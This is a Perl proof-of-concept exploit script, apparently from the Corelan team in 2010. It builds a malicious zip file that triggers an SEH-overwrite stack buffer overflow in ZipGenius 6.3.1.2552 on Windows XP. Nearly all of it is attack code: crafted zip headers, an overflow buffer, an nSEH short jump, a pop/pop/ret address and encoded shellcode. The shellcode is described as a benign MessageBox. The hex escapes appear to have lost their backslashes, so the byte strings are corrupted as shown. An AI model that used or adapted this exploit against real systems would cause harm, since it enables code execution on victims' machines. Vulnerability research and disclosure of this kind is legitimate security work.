corelan_zipgenius_poc.pl.txt
Posted on 22 April 2010
# Exploit Title : ZipGenius zgtips.dll Stack Buffer Overflow # Corelan : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-029 # Date : April 21st, 2010 # Author : corelanc0d3r, mr_me and rick2600 # Bug found by : rick2600 # Software Link : http://www.zipgenius.com/ # Version : v6.3.1.2552 # OS : Windows # Tested on : XP SP3 En (VirtualBox) # Type of vuln : SEH overwrite # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes. # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # # Code : print "|------------------------------------------------------------------| "; print "| __ __ | "; print "| _________ ________ / /___ _____ / /____ ____ _____ ___ | "; print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | "; print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / | "; print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ | "; print "| | "; print "| http://www.corelan.be:8800 | "; print "| | "; print "|-------------------------------------------------[ EIP Hunters ]--| "; print " [+] Exploit for ZipGenius v6.3.1.2552 "; print " [+] Preparing payload... "; my $filename="zipgenius.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size: don't change "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size: don't change "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # "x02x10x00x00". # "x00x00"; # Corelan Team MessageBox my $shellcode = "x89xe5xdbxd3xd9x75xf4x5dx55x59x49x49x49x49" . "x49x49x49x49x49x49x43x43x43x43x43x43x37x51" . "x5ax6ax41x58x50x30x41x30x41x6bx41x41x51x32" . "x41x42x32x42x42x30x42x42x41x42x58x50x38x41" . "x42x75x4ax49x49x49x4ax4bx4fx6bx4ax79x51x64" . "x51x34x49x64x45x61x48x52x4dx62x50x7ax44x71" . "x4bx79x45x34x4ex6bx44x31x46x50x4ex6bx44x36" . "x46x6cx4ex6bx50x76x47x6cx4ex6bx51x56x46x68" . "x4ex6bx51x6ex45x70x4ex6bx44x76x45x68x42x6f" . "x44x58x44x35x49x63x43x69x45x51x4bx61x49x6f" . "x4dx31x45x30x4ex6bx50x6cx45x74x47x54x4cx4b" . "x43x75x47x4cx4cx4bx46x34x45x55x44x38x47x71" . "x49x7ax4cx4bx42x6ax47x68x4ex6bx50x5ax45x70" . "x43x31x4ax4bx4bx53x50x37x42x69x4cx4bx46x54" . "x4cx4bx43x31x48x6ex50x31x49x6fx45x61x49x50" . "x49x6cx4ex4cx4fx74x4fx30x50x74x44x4ax4ax61" . "x48x4fx46x6dx43x31x4fx37x4bx59x4ax51x4bx4f" . "x4bx4fx49x6fx45x6bx51x6cx46x44x44x68x44x35" . "x49x4ex4ex6bx42x7ax51x34x43x31x4ax4bx45x36" . "x4ex6bx44x4cx42x6bx4cx4bx50x5ax47x6cx43x31" . "x48x6bx4ex6bx46x64x4ex6bx47x71x4ax48x4fx79" . "x50x44x46x44x45x4cx50x61x4ax63x4fx42x46x68" . "x45x79x4ax74x4fx79x4dx35x4bx39x4bx72x42x48" . "x4cx4ex42x6ex46x6ex48x6cx43x62x4dx38x4fx6c" . "x4bx4fx4bx4fx49x6fx4dx59x42x65x44x44x4fx4b" . "x51x6ex49x48x4bx52x50x73x4ex67x45x4cx46x44" . "x50x52x4bx58x4ex6bx49x6fx49x6fx4bx4fx4ex69" . "x42x65x44x48x50x68x50x6cx42x4cx45x70x49x6f" . "x45x38x44x73x46x52x46x4ex50x64x51x78x42x55" . "x50x73x51x75x42x52x4cx48x51x4cx47x54x47x7a" . "x4fx79x4bx56x42x76x4bx4fx42x75x43x34x4cx49" . "x49x52x42x70x4fx4bx4ex48x4ex42x50x4dx4dx6c" . "x4fx77x45x4cx51x34x50x52x4ax48x51x4ex4bx4f" . "x4bx4fx4bx4fx45x38x42x78x45x70x47x50x45x70" . "x51x78x46x34x42x45x51x71x42x4dx45x38x42x4c" . "x50x61x50x6ex45x70x43x58x50x43x50x6fx42x52" . "x43x55x46x51x4bx6bx4fx78x51x4cx45x74x44x4c" . "x4cx49x49x73x43x58x46x38x47x50x45x70x47x50" . "x43x58x44x34x43x59x42x4fx50x6ex51x78x43x48" . "x50x65x43x53x51x65x45x38x50x64x45x35x45x70" . "x50x45x50x68x50x6fx47x50x47x33x50x6fx43x58" . "x50x6cx45x35x51x30x43x44x51x78x42x45x50x72" . "x45x31x50x62x43x58x50x56x44x35x42x4cx42x4e" . "x45x61x49x59x4dx58x42x6cx51x34x45x4cx4bx39" . "x48x61x50x31x4bx62x43x62x51x43x46x31x46x32" . "x49x6fx4ex30x46x51x4bx70x42x70x49x6fx42x75" . "x46x68x44x4ax41x41"; # --- payload --- my $size=4064; my $junk = "A" x 1060; my $nseh="xEBx06x90x90"; my $seh=pack("V", 0x0295131C); # p/p/r UNIVERSAL my $payload = $junk.$nseh.$seh.$shellcode; my $rest = "D" x ($size - length($payload)); $payload = $payload . $rest. ".txt"; print "Size : " . length($payload)." "; print "Removing old $filename file "; system("del $filename"); print "Creating new $filename file "; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE);
